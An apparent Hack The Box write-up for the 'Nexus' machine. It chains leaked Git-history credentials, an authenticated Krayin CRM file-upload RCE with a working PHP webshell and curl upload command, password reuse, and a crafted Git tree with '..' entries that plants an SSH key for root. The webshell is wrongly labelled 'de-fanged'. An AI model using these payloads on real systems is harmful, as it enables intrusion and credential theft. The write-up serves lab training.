Post

HTB Nexus Writeup

HTB Nexus Writeup

Overview

Nexus is a Linux machine that chains several web and infrastructure weaknesses into full system compromise. The attack begins with virtual host enumeration that reveals a self-hosted Gitea instance, where reviewing commit history exposes credentials that were removed in a later commit but remained recoverable. These credentials grant access to an authenticated Krayin CRM panel, which is vulnerable to an arbitrary file upload flaw (CVE-2026-38526) that leads to remote code execution.

Plaintext credentials in the application’s .env file provide SSH access as a valid system user. Privilege escalation is achieved by abusing a root-run systemd timer that synchronizes Gitea template repositories: the sync script builds destination paths with os.path.join() using unsanitized output from git ls-tree, allowing a hand-crafted Git tree containing .. entries to traverse out of the staging directory and write an SSH public key to /root/.ssh/authorized_keys.


Reconnaissance

The first step was to perform a service and version scan against the target.

nmap -sV -sC -T4 --open <TARGET_IP>

The scan identified two open services.

1
2
3
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    nginx 1.24.0 (Ubuntu)

Port 80 redirected to http://nexus.htb/, which was added to the hosts file along with the target IP.


Web Enumeration

Virtual Host Discovery

Since the main site redirected to a hostname, virtual host fuzzing was performed to uncover additional applications hosted behind the same IP.

gobuster vhost -u http://nexus.htb -w /usr/share/dirb/wordlists/big.txt --append-domain

Two additional virtual hosts were discovered.

1
2
billing.nexus.htb
git.nexus.htb

Both were added to /etc/hosts.

Discovering a Self-Hosted Gitea Instance

Navigating to git.nexus.htb revealed a self-hosted Gitea instance (version 1.26.0) with a single publicly accessible repository.

1
admin/krayin-docker-setup

Credential Exposure in Commit History

The repository contained a .env file, a docker-compose.yml, and a documents blob. While the current .env appeared scrubbed of secrets, reviewing the commit history revealed two commits where files were uploaded and later modified.

The .diff view of the second commit exposed a credential that had been removed from the working tree but remained recoverable through Git history.

http://git.nexus.htb/admin/krayin-docker-setup/commit/<COMMIT_HASH>.diff

1
2
-DB_PASSWORD=[REDACTED]
+DB_PASSWORD=

The recovered password was tested against the login form at http://billing.nexus.htb/admin/login, which is a Krayin CRM instance (version 2.2.0). A corporate email address was harvested from the careers section of the landing page on nexus.htb.

1
2
Email:    [REDACTED]
Password: [REDACTED]

The login succeeded, providing authenticated access to the admin dashboard.


Exploitation

Remote Code Execution via Authenticated File Upload (CVE-2026-38526)

Krayin CRM 2.2.0 is affected by an authenticated arbitrary file upload vulnerability in its mail attachment handling. A review of the upstream source confirmed the root cause: attachment filenames are taken from getClientOriginalName() and passed directly into the storage path without any extension or content validation.

1
2
3
$path = 'emails/'.$email->id.'/'.$name;

Storage::put($path, $content);

A minimal PHP webshell was created locally (shown de-fanged to avoid antivirus false positives when copying this file around):

1
<?php $c = $_GET["cmd"]; system($c); ?>

The mail compose endpoint POST /admin/mail/create rejects non-folder route values through a SanitizeUrl middleware, but the middleware returns early for AJAX requests. Sending the upload with an X-Requested-With: XMLHttpRequest header bypassed the check, and the draft creation with an attached .php file succeeded.

1
2
3
4
5
6
7
8
9
10
curl -X POST http://billing.nexus.htb/admin/mail/create \
  -b "cookies.txt" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Accept: application/json" \
  -F "_token=<CSRF_TOKEN>" \
  -F "reply_to[]=attacker@example.com" \
  -F "reply=test" \
  -F "source=web" \
  -F "is_draft=1" \
  -F "attachments[]=@shell.php;type=image/png;filename=shell.php"

The server stored the file and reflected its web-accessible path in the JSON response.

1
"url": "http://billing.nexus.htb/storage/emails/1/shell.php"

Since Laravel’s storage directory is served statically, requesting the uploaded file executed it as PHP, confirming command execution as www-data.

1
curl "http://billing.nexus.htb/storage/emails/1/shell.php?cmd=id"
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reading Application Secrets

With arbitrary command execution, the application’s .env file was retrieved.

1
curl "http://billing.nexus.htb/storage/emails/1/shell.php?cmd=cat+/var/www/krayin/.env"

A database credential was disclosed.

1
2
DB_USERNAME=krayin
DB_PASSWORD=[REDACTED]

Initial Access

SSH as jones

Since passwords are frequently reused across services, the credential was tested against SSH with the local user jones, which had been observed in /etc/passwd.

ssh jones@<TARGET_IP>

1
Password: [REDACTED]

The login was successful, providing a stable shell as the user jones. The user flag could then be retrieved.

cat user.txt

1
[REDACTED]

Privilege Escalation

Discovering the gitea-template-sync Timer

System enumeration revealed a systemd timer running as root every minute.

cat /etc/systemd/system/gitea-template-sync.timer

1
OnUnitActiveSec=1min

The timer executes the following script.

cat /etc/gitea/template-sync.py

The script queries the local Gitea API for repositories flagged as templates, reads their file listing with git ls-tree -r HEAD, and extracts every blob into a staging directory. The critical flaw was in the destination path construction.

1
target = os.path.join(stage_path, filepath)

The filepath values come directly from git ls-tree output and are never sanitized. Because os.path.join() silently resolves .. components, any path traversal sequence embedded in a Git tree entry would cause files to be written outside the staging directory — as root.

Obtaining a Gitea API Token

The script reads its token from /etc/gitea/template-sync.conf, which is only readable by the git user. However, Gitea’s own API allows an authenticated user to mint a personal access token. The same reused password worked against the Gitea account jones.

1
2
3
4
curl -X POST http://git.nexus.htb/api/v1/users/jones/tokens \
  -u "jones:[REDACTED]" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwn","scopes":["all"]}'
1
"sha1": "[REDACTED]"

Crafting a Malicious Git Tree

An SSH key pair was generated for the final payload.

ssh-keygen -t ed25519 -f /tmp/nexus_k -N ''

A template repository was created through the API.

1
2
3
4
curl -X POST http://git.nexus.htb/api/v1/user/repos \
  -H "Authorization: token <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"name":"tmpl","template":true}'

The standard Git client rejects tree entries containing .., so the malicious history had to be crafted manually at the object level. A Python script constructed raw Git objects — a blob holding the SSH public key, nested trees embedding .ssh/authorized_keys under a root/ directory, and four .. traversal entries — then wrote a commit object pointing at the crafted root tree.

python3 craft_traversal.py

1
2
3
4
5
6
7
8
def entry(mode, name, sha):
    return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)

ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur   = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir   = write_obj(entry("40000", "root", cur), "tree")
for i in range(4):
    fir = write_obj(entry("40000", "..", fir), "tree")

Because Gitea accepts pushes without validating tree entry names, the crafted main branch was pushed to the template repository using a standard client.

git push http://jones:<PASSWORD>@git.nexus.htb/jones/tmpl.git main

When the root timer fired, the sync script iterated over the template’s tree with os.path.join(), resolving the traversal sequences and writing the SSH public key to /root/.ssh/authorized_keys.

Obtaining Root

The key was then used to authenticate directly as root.

ssh -i /tmp/nexus_k root@<TARGET_IP>

1
uid=0(root) gid=0(root) groups=0(root)

The root flag could finally be retrieved.

cat /root/root.txt

1
[REDACTED]

Conclusion

Nexus demonstrates how credential hygiene failures compound across a stack. A password removed from a repository’s working tree remained recoverable through commit history, granting access to an authenticated Krayin CRM panel. An unvalidated file upload path in the mail module converted that access into remote code execution, and plaintext secrets in the application’s .env file enabled password reuse to pivot to a system shell.

Privilege escalation was achieved by targeting a root-run template synchronization script that trusted file paths embedded in Git trees. By pushing hand-crafted Git objects containing .. traversal entries — something the standard Git client refuses to produce but servers may still accept — the sync job was weaponized to write an attacker-controlled SSH key into /root/.ssh/authorized_keys, yielding full system compromise.

This post is licensed under CC BY 4.0 by the author.